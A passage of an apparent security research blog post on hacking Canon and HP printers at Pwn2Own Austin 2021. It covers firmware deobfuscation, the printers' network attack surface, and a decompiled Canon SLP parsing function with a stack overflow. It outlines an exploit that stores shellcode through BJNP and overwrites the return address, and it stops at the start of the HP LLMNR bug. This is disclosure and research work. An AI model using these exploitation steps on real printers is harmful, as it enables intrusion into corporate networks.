href="https://www.zerodayinitiative.com/advisories/ZDI-22-532/">CVE-2022-3942</a>) in Canon and HP printers, and vulnerability(<a href="https://www.zerodayinitiative.com/advisories/ZDI-22-332/">CVE-2021-44734</a>) in Lexmark. We used these vulnerabilities to exploit Canon ImageCLASS MF644Cdw, HP Color LaserJet Pro MFP M283fdw and Lexmark MC3224i in <a href="https://www.zerodayinitiative.com/blog/2021/11/1/pwn2ownaustin">Pwn2Own Austin 2021</a>. Following we will describe the details of the Canon and HP vulnerabilities and exploitation.</p> <p><img src="/assets/img/blog/20231005/1.jpg" alt="" /></p> <p>This research is also presented at <a href="https://hitcon.org/2022/agenda/704bf58c-c42b-4593-97c0-9aba91caa6e4">HITCON 2022</a> and <a href="https://codeblue.jp/2022/en/talks/">CODE BLUE 2022</a>. You can check the <a href="https://hitcon.org/2022/slides/Your%20Printer%20is%20not%20your%20Printer%20!%20-%20Hacking%20Printers%20at%20Pwn2Own.pdf">slides</a> here.</p> <h2 id="printer">Printer</h2> <p>In the early days, it often required an IEEE1284 or USB Printer cable to connect the printer to the computer. We also had to install the printer driver provided by the manufacturer. Nowadays, most of the printers on the market do not require USB or traditional cable. As long as the printer is connected to the intranet through a LAN cable, we can find and utilize the printer immediately.</p> <p>Printer also provides not only printing but also various services such as FTP, AirPrint, Bonjour. Nothing more than to make printing more convenient.</p> <h2 id="motivation">Motivation</h2> <h3 id="why-do-we-want-to-research-printers-">Why do we want to research Printers ?</h3> <h4 id="red-team">Red Team</h4> <p>While doing red team assessment, we found that printers generally appeared in the corporate intranet. There are almost always more than one, but they are usually overlooked and lack of update. It is also an excellent target for red team to hide the action because it is often difficult to detect. It is worth mentioning that larger enterprises are also likely to connect them to AD and become the entry point for confidential information.</p> <h4 id="pwn2own-austin-2021">Pwn2Own Austin 2021</h4> <p>Another reason is that printers have become one of the main targets of Pwn2Own Mobile. We were also preparing to participate the Pwn2Own stage again, so we decided to start with it.</p> <p><img src="/assets/img/blog/20231005/2.jpg" alt="" /></p> <p>At first, we thought they were trivial. Like most IoT devices, there are often many command injection vulnerabilities. However, many printers use RTOS instead of Linux systems, which drove our determination to challenge it.</p> <p>This article will focus on the Canon and HP parts.</p> <h2 id="analysis">Analysis</h2> <p>In the beginning, we read many <a href="https://chdk.fandom.com/wiki/DryOS_PIXMA_Printer_Shell">articles</a>, all of them need to tear down the hardware for analysis and obtaining the debug console. Then they use the memory dumping method to obtain the original firmware. But in the end, we chose another way and didn’t tear down any of the printers.</p> <h3 id="canon">Canon</h3> <h4 id="firmware-extract">Firmware Extract</h4> <p>The initial analysis version is v6.03, we used binwalk to analyze it at the beginning, but the firmware is obfuscated, we can’t analyze it directly.</p> <p>Obfuscated Canon ImageCLASS MF644Cdw firmware <img src="/assets/img/blog/20231005/3.jpg" alt="" /></p> <p>We also tried <a href="https://www.synacktiv.com/publications/treasure-chest-party-quest-from-doom-to-exploit.html">“TREASURE CHEST PARTY QUEST: FROM DOOM TO EXPLOIT”</a> by Synacktiv and <a href="https://web.archive.org/web/20220224100459/https://www.contextis.com/en/blog/hacking-canon-pixma-printers-doomed-encryption">“Hacking Canon Pixma Printers – Doomed Encryption”</a> by Contextis research. But this time, it’s an entirely different series, and we can’t use the same method to deobfuscate the firmware.</p> <p>So we started to analyze the obfuscated firmware format and content.</p> <p><img src="/assets/img/blog/20231005/4.jpg" alt="" /></p> <p>We can see from the obfuscated firmware that the beginning is the Magic NCFW, followed by the size of the firmware, and other parts are obfuscated data.</p> <p>So we started to think that maybe the old firmware of this printer is not obfuscated until a specific version. If we can get the intermediate version, maybe there is a chance to get the deobfuscation method. The magic header also lets us distinguish whether it is obfuscated.</p> <p>We can obtain the firmware download URL through the official website or the update packet.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://pdisp01.c-wss.com/gdl/WWUFORedirectTarget.do?id=MDQwMDAwNDc1MjA1&amp;cmp=Z01&amp;lang=EN </code></pre></div></div> <p>After analysis, it can be split into three parts. <img src="/assets/img/blog/20231005/5.jpg" alt="" /></p> <p>We can roughly infer the rules of the download URL. We use this method to download all versions of firmware. The versions we downloaded at that time included:</p> <ul> <li>V2.01</li> <li>V4.02</li> <li>V6.03</li> <li>V9.03</li> <li>V10.02</li> </ul> <p>V10.02 is a version that will be released in a few weeks, and you can download it from here first. After downloading all versions, we found that the firmware for this series is obfuscated, and there is no way to deobfuscate it from the previous version.</p> <p>But we can try downloading Canon’s other series firmware and find out if there is a similar obfuscation algorithm. After all the firmware is downloaded, the total file size is 130 GB. We can find unobfuscated firmware by grepping for <code class="language-plaintext highlighter-rouge">NCFW</code> and <code class="language-plaintext highlighter-rouge">servicemode.html</code>.</p> <p><img src="/assets/img/blog/20231005/6.jpg" alt="" /></p> <p>Finally, we found four firmware that meets the conditions. We chose WG7000 series printers to analyze and found the suspected deobfuscation function.</p> <p><img src="/assets/img/blog/20231005/7.jpg" alt="" /></p> <p>Fortunately, by rewriting this function, the MF644Cdw firmware can be deobfuscated.</p> <p><img src="/assets/img/blog/20231005/8.jpg" alt="" /></p> <p>After the firmware is extracted, we needed the image base address so that IDA can effectively identify and reference the strings. At first, we find the image base through the common analysis tool <a href="https://github.com/sgayou/rbasefind">rbasefind</a>.</p> <p><img src="/assets/img/blog/20231005/9.jpg" alt="" /></p> <p>The first base we found was 0x40b0000. But after decompiled it with IDA, most of the <code class="language-plaintext highlighter-rouge">function</code> did not correspond to the <code class="language-plaintext highlighter-rouge">debug message</code> string.</p> <p><img src="/assets/img/blog/20231005/10.jpg" alt="" /></p> <p>As shown in the figure above, <code class="language-plaintext highlighter-rouge">loc_4489AC08</code> should point to the string of the function name, but this address is not a regular string. Instead, it is recognized as a code section, and the content is not a string. This indicates that this location is not an actual address. We thought there was a slight offset, but it did not cause big problem for decompiling functions.</p> <p>How to solve this problem? We first found a <code class="language-plaintext highlighter-rouge">function with a known function name</code> and the <code class="language-plaintext highlighter-rouge">function name string</code> belonging to it to make adjustments. After finding the offset, we adjusted the image base to the correct address. The final image base found is <strong>0x40affde0</strong>. After adjustment, you can see that the original function name can be identified correctly.</p> <p><img src="/assets/img/blog/20231005/11.jpg" alt="" /></p> <p>Next, we can analyze the firmware typically. After preliminary analysis, we can find out the of Canon ImageCLASS MF644Cdw:</p> <ul> <li>OS - DryOSV2 <ul> <li>Customized RTOS by Canon</li> </ul> </li> <li>ARMv7 32bit little-endian</li> <li>Linked with application code into single image <ul> <li>Kernel</li> <li>Service</li> </ul> </li> </ul> <h3 id="hp">HP</h3> <p>HP’s firmware is relatively easy to obtain. We can use <a href="https://github.com/fkie-cad/fact_extractor/issues/37">binwalk -Z</a> to obtain the correct firmware. It took about 3-4 days. The other steps, such as finding the image base address, are just the same as Canon. After preliminary analysis, the architecture of HP Color LaserJet Pro MFP M283fdw is as follows:</p> <ul> <li>OS <ul> <li>RTOS - Modify from ThreadX/Green Hills</li> </ul> </li> <li>ARM11 Mixed-endian <ul> <li>Code - little-endian</li> <li>Data - Big-endian</li> </ul> </li> </ul> <h2 id="attack-surface">Attack Surface</h2> <p>Many services are enabled by default in most printers on the market today.</p> <table> <thead> <tr> <th>Service</th> <th>Port</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>RUI</td> <td>TCP 80/443</td> <td>Web interface</td> </tr> <tr> <td>PDL</td> <td>TCP 9100</td> <td>Page Description Language</td> </tr> <tr> <td>PJL</td> <td>TCP 9100</td> <td>Printer Job Language</td> </tr> <tr> <td>IPP</td> <td>TCP 631</td> <td>Internet Printing Protocol</td> </tr> <tr> <td>LPD</td> <td>TCP 515</td> <td>Line Printer Daemon Protocol</td> </tr> <tr> <td>SNMP</td> <td>UDP 161</td> <td>Simple Network Management Protocol</td> </tr> <tr> <td>SLP</td> <td>TCP 427</td> <td>Service Location Protocol</td> </tr> <tr> <td>mDNS</td> <td>UDP 5353</td> <td>Multicast DNS</td> </tr> <tr> <td>LLMNR</td> <td>UDP 5355</td> <td>Link-Local Multicast Name Resolution</td> </tr> <tr> <td>…</td> <td>…</td> <td>…</td> </tr> </tbody> </table> <p>Usually, RUI (web interface) is opened for facilitate management. The 9100 Port is also commonly used by printers, mainly used to transmit printed data.</p> <p>Others vary between vendors, but the listed ones are usually present, and most are enabled by default. After evaluating the overall architecture, we focus on service discovery and the DNS series of services. Our long-term experience has often observed that such protocols implemented by manufacturers are often prone to vulnerabilities. The primary services we analyzed were <strong>SLP</strong>, <strong>mDNS</strong>, and <strong>LLMNR</strong>.</p> <p>Next, we take Pwn2Own Austin 2021 as a case study to see what problems these protocols often have.</p> <h2 id="hacking-printers-at-pwn2own">Hacking printers at Pwn2Own</h2> <h3 id="canon-1">Canon</h3> <h4 id="service-location-protocol">Service Location Protocol</h4> <p>SLP is a service discovery protocol that allows computers and other devices to find services in local area network. In the past, there were many <a href="https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi">vulnerabilities</a> in EXSI’s SLP. Canon implements the SLP service mainly by themselves. For details about SLP service, please refer to <a href="https://www.ietf.org/rfc/rfc2608.txt">RFC2608</a>.</p> <p>Before we look into the detail of SLP, we need to talk about the structure of SLP packets.</p> <p>SLP Packet Structure <img src="/assets/img/blog/20231005/12.jpg" alt="" /></p> <p>Here we only need to pay attention to <code class="language-plaintext highlighter-rouge">function-id</code>. This field determines the request type and the format of the payload part. Canon only implements Service Request and Attribute Request.</p> <p><img src="/assets/img/blog/20231005/13.jpg" alt="" /></p> <p>In the Attribute Request (AttrRqst), the user can obtain the attribute list according to the service and scope. We can specify a scope to look for, such as Canon printers.</p> <p>Example: <img src="/assets/img/blog/20231005/14.jpg" alt="" /></p> <p>The Attribute Request structure is as follows <img src="/assets/img/blog/20231005/15.jpg" alt="" /></p> <p>It mainly comprises length (Length) and value (Value). Parsing this kind of format should be careful because there are often bugs here. In fact, there is a vulnerability in Canon when paring this format.</p> <h4 id="vulnerability">Vulnerability</h4> <p>When it parses the scope list, it converts escape characters to ASCII. For example, <code class="language-plaintext highlighter-rouge">\41</code> will be converted to <code class="language-plaintext highlighter-rouge">A</code>. But what’s wrong with this simple transformation? Let’s take a look at the pseudocode.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">parse_scope_list</span><span class="p">(...){</span> <span class="kt">char</span> <span class="n">destbuf</span><span class="p">[</span><span class="mi">36</span><span class="p">];</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">max</span> <span class="o">=</span> <span class="mi">34</span><span class="p">;</span> <span class="n">parse_escape_char</span><span class="p">(...,</span><span class="n">destbuf</span><span class="p">,</span><span class="n">max</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>As shown in the above code, in <code class="language-plaintext highlighter-rouge">parse_scope_list</code>, it passes a fixed size buffer <code class="language-plaintext highlighter-rouge">destbuf</code> and the maximum size 34 to <code class="language-plaintext highlighter-rouge">parse_escape_char</code>. No vulnerability here. Let’s take a look at <code class="language-plaintext highlighter-rouge">parse_escape_char</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">parse_escape_char</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">**</span><span class="n">pdata</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">pdatalen</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">destbuf</span><span class="p">,</span> <span class="n">_WORD</span> <span class="o">*</span><span class="n">max</span><span class="p">)</span> <span class="p">{</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span> <span class="c1">// r7</span> <span class="kt">int</span> <span class="n">v7</span><span class="p">;</span> <span class="c1">// r9</span> <span class="kt">int</span> <span class="n">v8</span><span class="p">;</span> <span class="c1">// r8</span> <span class="kt">int</span> <span class="n">error</span><span class="p">;</span> <span class="c1">// r11</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v10</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// r6</span> <span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">v13</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v14</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">bool</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// cc</span> <span class="kt">int</span> <span class="n">v16</span><span class="p">;</span> <span class="c1">// r2</span> <span class="kt">bool</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// cc</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v19</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">v20</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v21</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v22</span><span class="p">;</span> <span class="c1">// r0</span> <span class="n">idx</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v7</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v8</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">error</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="o">*</span><span class="n">pdata</span><span class="p">;</span> <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="o">*</span><span class="n">pdatalen</span><span class="p">;</span> <span class="n">i</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">v7</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)(</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v12</span> <span class="o">=</span> <span class="o">*</span><span class="n">v10</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v12</span> <span class="o">==</span> <span class="sc">','</span> <span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">2</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="n">v7</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v12</span> <span class="o">==</span> <span class="sc">'\\'</span> <span class="p">)</span> <span class="c1">//----------------------[1]</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">3</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="n">v13</span> <span class="o">=</span> <span class="n">v10</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="sc">'0'</span><span class="p">;</span> <span class="n">v15</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v15</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'A'</span> <span class="o">&gt;</span> <span class="mi">5</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v15</span> <span class="o">&amp;&amp;</span> <span class="n">v13</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'a'</span> <span class="o">&gt;</span> <span class="mi">5</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="n">v16</span> <span class="o">=</span> <span class="n">v10</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="n">v17</span> <span class="o">=</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'0'</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v17</span> <span class="o">=</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'A'</span> <span class="o">&gt;</span> <span class="mi">5</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="o">&amp;&amp;</span> <span class="n">v16</span> <span class="o">-</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span><span class="sc">'a'</span> <span class="o">&gt;</span> <span class="mi">5</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o">&lt;=</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v18</span> <span class="o">=</span> <span class="mh">0x10</span> <span class="o">*</span> <span class="n">v14</span><span class="p">;</span> <span class="k">else</span> <span class="n">v18</span> <span class="o">=</span> <span class="n">v13</span> <span class="o">-</span> <span class="mh">0x37</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="p">)</span> <span class="n">v18</span> <span class="o">*=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">=</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">//-------------------[2]</span> <span class="n">v19</span> <span class="o">=</span> <span class="n">v10</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span> <span class="n">v10</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span> <span class="n">v20</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">v19</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">9</span> <span class="o">?</span> <span class="p">(</span><span class="n">v19</span> <span class="o">-</span> <span class="mi">55</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xF</span> <span class="o">|</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">:</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">|</span> <span class="p">(</span><span class="n">v19</span> <span class="o">-</span> <span class="mh">0x30</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xF</span><span class="p">;</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">=</span> <span class="n">v20</span><span class="p">;</span> <span class="n">LOWORD</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="o">=</span> <span class="n">i</span> <span class="o">-</span> <span class="mi">2</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strchr</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"(),</span><span class="se">\\</span><span class="s">!&lt;=&gt;~;*+"</span><span class="p">,</span> <span class="o">*</span><span class="n">destbuf</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v21</span> <span class="o">=</span> <span class="o">*</span><span class="n">destbuf</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v21</span> <span class="o">&gt;</span> <span class="mh">0x1F</span> <span class="o">&amp;&amp;</span> <span class="n">v21</span> <span class="o">!=</span> <span class="mh">0x7F</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="p">}</span> <span class="k">goto</span> <span class="n">LABEL_40</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">strchr</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"(),</span><span class="se">\\</span><span class="s">!&lt;=&gt;~;*+"</span><span class="p">,</span> <span class="n">v12</span><span class="p">)</span> <span class="p">)</span> <span class="c1">//-----------------------[3]</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="n">v22</span> <span class="o">=</span> <span class="o">*</span><span class="n">v10</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v22</span> <span class="o">&lt;=</span> <span class="mh">0x1F</span> <span class="o">||</span> <span class="n">v22</span> <span class="o">==</span> <span class="mh">0x7F</span> <span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v22</span> <span class="o">!=</span> <span class="sc">' '</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v8</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">goto</span> <span class="n">LABEL_35</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">v8</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v8</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nl">LABEL_35:</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="o">*</span><span class="n">max</span> <span class="o">&lt;=</span> <span class="n">idx</span> <span class="p">)</span> <span class="c1">//----------------------[4] </span> <span class="p">{</span> <span class="n">error</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="k">goto</span> <span class="n">next_one</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v8</span> <span class="p">)</span> <span class="n">LOBYTE</span><span class="p">(</span><span class="n">v22</span><span class="p">)</span> <span class="o">=</span> <span class="mi">32</span><span class="p">;</span> <span class="o">*</span><span class="n">destbuf</span> <span class="o">=</span> <span class="n">v22</span><span class="p">;</span> <span class="nl">LABEL_40:</span> <span class="o">++</span><span class="n">destbuf</span><span class="p">;</span> <span class="n">idx</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)(</span><span class="n">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="nl">next_one:</span> <span class="o">++</span><span class="n">v10</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">error</span> <span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">max</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">debugprintff</span><span class="p">(</span><span class="mi">3645</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="s">"Scope longer than buffer provided"</span><span class="p">);</span> <span class="nl">LABEL_48:</span> <span class="o">*</span><span class="n">pdata</span> <span class="o">=</span> <span class="n">v10</span><span class="p">;</span> <span class="o">*</span><span class="n">pdatalen</span> <span class="o">=</span> <span class="n">i</span><span class="p">;</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span> <span class="n">idx</span> <span class="p">)</span> <span class="p">{</span> <span class="o">*</span><span class="n">max</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span> <span class="k">goto</span> <span class="n">LABEL_48</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="o">-</span><span class="mi">4</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>You can see that <code class="language-plaintext highlighter-rouge">[3]</code> is a case that handles no escape characters. It checks whether the length exceeds the maximum<code class="language-plaintext highlighter-rouge">[4]</code>. However, in case <code class="language-plaintext highlighter-rouge">[1]</code> handling escape characters, there is no length check, and the converted result is directly copied to the destination buffer <code class="language-plaintext highlighter-rouge">[2]</code>.</p> <p>Once given a long escape characters string, it leads to a stack overflow.</p> <p>After finding the vulnerability, the first thing is to see what protection it has to decide on the exploit plan. But after analysis, we found that the Canon printer <strong>does not have any memory-related protection</strong>.</p> <h4 id="protection">Protection</h4> <ul> <li>No Stack Guard</li> <li>No DEP</li> <li>No ASLR</li> </ul> <p>No Stack Guard, no DEP and no ASLR, <strong>hacker friendly</strong> ! Like back to the 90s, just a stack overflow can control the world. Next, like the past stack overflow exploit method, we just need to find a fixed address to store the shellcode, overwrite the return address, and jump to the shellcode. Eventually, we found the <strong>BJNP</strong> service to store our shellcode.</p> <h4 id="bjnp">BJNP</h4> <p>BJNP is also a service discovery protocol designed by Canon, and there have been many vulnerabilities in the past. <a href="https://www.synacktiv.com/publications/treasure-chest-party-quest-from-doom-to-exploit.html">Synacktiv</a> has also exploited Pixma MX925 through this protocol. For more details, please refer to <a href="https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#bjnp">here</a>. BJNP stores the controllable session data in the global buffer. We can use this function to put our shellcode in a fixed location without strict restrictions.</p> <h4 id="exploitation-step">Exploitation Step</h4> <ul> <li>Use BJNP to store our shellcode on a global buffer</li> <li>Trigger stack overflow in SLP and overwrite return address</li> <li>Return to the global buffer</li> </ul> <h4 id="pwn2own-austin-2021-1">Pwn2Own Austin 2021</h4> <p>Generally, the Pwn2Own organizer(ZDI) requests participants to prove that we have pwned the target. The presentation method here is up to players. Initially, we wanted to print the logo directly on the LCD screen as we exploited the Lexmark printer.</p> <p><img src="/assets/img/blog/20231005/16.jpg" alt="" /></p> <p>However, we spent a lot of time figuring out how to print the image on the screen, which was longer than finding vulnerabilities and writing exploits. In the end, a safer approach was adopted because of the time constraints, directly changing the <a href="https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#service-mode">Service Mode</a> string and printing it on the screen.</p> <p><img src="/assets/img/blog/20231005/17.jpg" alt="" /></p> <p>In fact, it is not that difficult to print the image on the screen. Other teams have found <a href="https://doar-e.github.io/blog/2022/06/11/pwn2own-2021-canon-imageclass-mf644cdw-writeup/#displaying-an-image">methods</a>. Those who are interested can try it out :)</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/vQbQImZ3XRw?start=18400" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <h4 id="debug">Debug</h4> <p>Some people may wonder how to debug in this environment. There are usually several ways to debug:</p> <ul> <li>Teardown the printer and get debug console.</li> <li>Use an old exploit to install customized debugger</li> </ul> <p>However, we have updated to the latest version at that time. There is no known vulnerability in this version, so we need to downgrade the version back. Tearing down the hardware also takes additional time and cost. But we already had a vulnerability at that time, it was not cost-effective to tear down the hardware or downgrade. Finally, we still used the most traditional sleep debug method.</p> <p><img src="/assets/img/blog/20231005/18.jpg" alt="" /></p> <p>After ROP or executing shellcode, print the result to a web page or other visible place, then call sleep. We can read the result from the web page and finally restart the machine to repeat this process.</p> <p>Next, let’s talk about HP printers.</p> <h3 id="hp-1">HP</h3> <h4 id="link-local-multicast-name-resolution">Link-Local Multicast Name Resolution</h4> <p><a href="https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution">LLMNR</a> is very similar to mDNS. It provides base name resolution on the same local link. But it is more straightforward than mDNS and usually also cooperates with some service discovery protocols. Here is a brief introduction to this mechanism:</p> <p>In the domain name resolution of the local area network, Client A will first use multicast to find the location of Client C in the local area network. <img src="/assets/img/blog/20231005/19.jpg" alt="" /></p> <p>After Client C receives, Client C sends it back to Client A, which implements the link-local domain name resolution.</p> <p><img src="/assets/img/blog/20231005/20.jpg" alt="" /></p> <p>LLMNR is mainly based on the <a href="https://datatracker.ietf.org/doc/html/rfc4795#section-2.1.1">DNS packet</a> format, and the format is as follows:</p> <p><img src="/assets/img/blog/20231005/21.jpg" alt="" /></p> <p>The main format is the header followed by Queries, and Count represents the number of queries of different types.</p> <p><img src="/assets/img/blog/20231005/22.jpg" alt="" /></p> <p>Each DNS Query is composed of many labels, and each label will comprise length and string, as shown in the figure above. There is also a <a href="https://www.rfc-editor.org/rfc/rfc1035#section-4.1.4">Message Compression</a> mechanism. Dealing with these is very prone to vulnerabilities. <a href="https://i.blackhat.com/asia-21/Thursday-Handouts/as-21-dosSantos-The-Cost-of-Complexity-Different-Vulnerabilities-While-Implementing-the-Same-RFC.pdf">“THE COST OF COMPLEXITY: Different Vulnerabilities While Implementing the Same RFC”</a> at BlackHat 2021 also mentions similar problems.</p> <h4 id="vulnerability-1">Vulnerability</h4> <p>Let’s look at HP’s implementation:</p> <pre><code class="language-cpp=">int llmnr_process_query(...){ char result[292]; 